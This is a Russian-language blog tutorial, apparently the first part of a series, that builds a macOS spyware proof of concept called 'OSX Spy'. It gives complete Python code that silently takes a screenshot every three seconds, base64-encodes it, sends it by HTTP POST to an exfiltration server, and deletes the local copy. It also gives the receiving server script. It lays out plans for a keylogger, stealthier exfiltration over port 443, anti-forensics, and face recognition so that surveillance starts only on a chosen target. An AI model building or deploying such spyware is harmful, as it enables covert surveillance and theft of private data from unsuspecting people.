Меня вдохновил этот пост https://hackernoon.com/writing-an-keylogger-for-macos-in-python-24adfa22722, но, как всегда, я подумал, что это круто, но вы знаете, мы можем сделать гораздо больше . Итак, давай займемся этим.

В трех частях мы будем создавать доказательство концепции OSX Spy, это будет скринграббер OSX и кейлоггер со скрытыми методами эксфильтрации, чтобы завершить его, он будет использовать распознавание лиц для обнаружения цели и активировать методы наблюдения только в том случае, если мы знайте, что это цель, которую мы хотим отслеживать.

План:

  • Подтверждение концепции кода Python для OSXSpy
  • Написание кода снимка экрана с явным изъятием
  • Интегрируйте код кейлоггера из https://hackernoon.com/writing-an-keylogger-for-macos-in-python-24adfa22722
  • Интегрируйте распознавание лиц для обнаружения цели и активации методов наблюдения и измените метод эксфильтрации на скрытый

Если нас устраивает доказательство концепции, мы можем переписать его на GoLang, чтобы легко скомпилировать кроссплатформенные двоичные файлы, которые по-прежнему хороши для незаметности в ванильном формате.

Скринграббер

Давайте сделаем снимок экрана, мы просто сделаем системный вызов встроенной функции снимка экрана, мы передадим -x, чтобы отключить звук снимка экрана ...

def capture_screen(i):
    try:
        # -x option to mute the screenshot-taking sound
        system("screencapture -x /tmp/s{}.png".format(i))
    except:
        pass

Затем мы хотим его эксфильтровать, здесь мы просто конвертируем изображение в base64 и отправляем данные на наш сервер эксфильтрации ...

def exfil_image(i):
    with open("/tmp/s{}.png".format(i), "rb") as image_file:
        try:
            encoded_string = base64.b64encode(image_file.read())
            #params = urllib.urlencode({'image': encoded_string, 'id': '01'})
            headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
            conn = httplib.HTTPConnection("localhost:8000")
            conn.request("POST", "", encoded_string, headers)
            response = conn.getresponse()
            print response.status, response.reason
            data = response.read()
            conn.close()
        except:
            pass

Наконец, мы хотим удалить изображение и очистить его, просто еще один системный вызов ...

def remove_image(i):
    try:
        system("rm /tmp/s{}.png".format(i))
    except:
        pass

В реальном сценарии мы бы не хотели даже записывать образ на диск для начала, лучше для Anti-DFIR. Мы исправим это позже в этой серии, а пока мы хотим, чтобы это было просто.

Вот весь код и необходимый вам импорт ...

osxspy.py

import time
import sys
import itertools
from os import system
import base64
import httplib, urllib
def exfil_image(i):
    with open("/tmp/s{}.png".format(i), "rb") as image_file:
        try:
            encoded_string = base64.b64encode(image_file.read())
            headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
            conn = httplib.HTTPConnection("localhost:8000")
            conn.request("POST", "", encoded_string, headers)
            response = conn.getresponse()
            print response.status, response.reason
            data = response.read()
            conn.close()
        except:
            pass
def remove_image(i):
    try:
        system("rm /tmp/s{}.png".format(i))
    except:
        pass
def capture_screen(i):
    try:
        # -x option to mute the screenshot-taking sound
        system("screencapture -x /tmp/s{}.png".format(i))
    except:
        pass
def main():
    while True:
        try:
            for i in itertools.count():
                # -x option to mute the screenshot-taking sound
                capture_screen(i)
                exfil_image(i)
                remove_image(i)
                time.sleep(3)
        except KeyboardInterrupt:
            sys.exit(0)
if __name__== "__main__":
  main()

Сервер Exfil

На данный момент это действительно просто, мы просто захватываем входящие данные, декодируем их URL, декодируем base64 и затем записываем изображение на диск ...

body = self.rfile.read(content_length)
        data = urllib.unquote(body).decode('utf8')
        image_file = base64.b64decode(body)
        with open("/tmp/image.png", 'wb') as f:
            f.write(image_file)

Вот весь стартовый код для нашего эксфильтрационного сервера ...

exfilserver.py

from http.server import HTTPServer, BaseHTTPRequestHandler
from io import BytesIO
import base64
import urllib
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        body = self.rfile.read(content_length)
        data = urllib.unquote(body).decode('utf8')
        image_file = base64.b64decode(body)
        with open("/tmp/image.png", 'wb') as f:
            f.write(image_file)
        self.send_response(200)
        self.end_headers()
httpd = HTTPServer(('localhost', 8000), SimpleHTTPRequestHandler)
httpd.serve_forever()

Если вы хотите обслуживать другой порт, 443, просто измените эти две строки в каждом файле ...

osxspy.py

conn = httplib.HTTPConnection("localhost:443")

exfilserver.py

httpd = HTTPServer(('localhost', 443), SimpleHTTPRequestHandler)

В одном терминале запустите его с python ‘osxspy.py’, а в другом ‘python exfilserver.py’.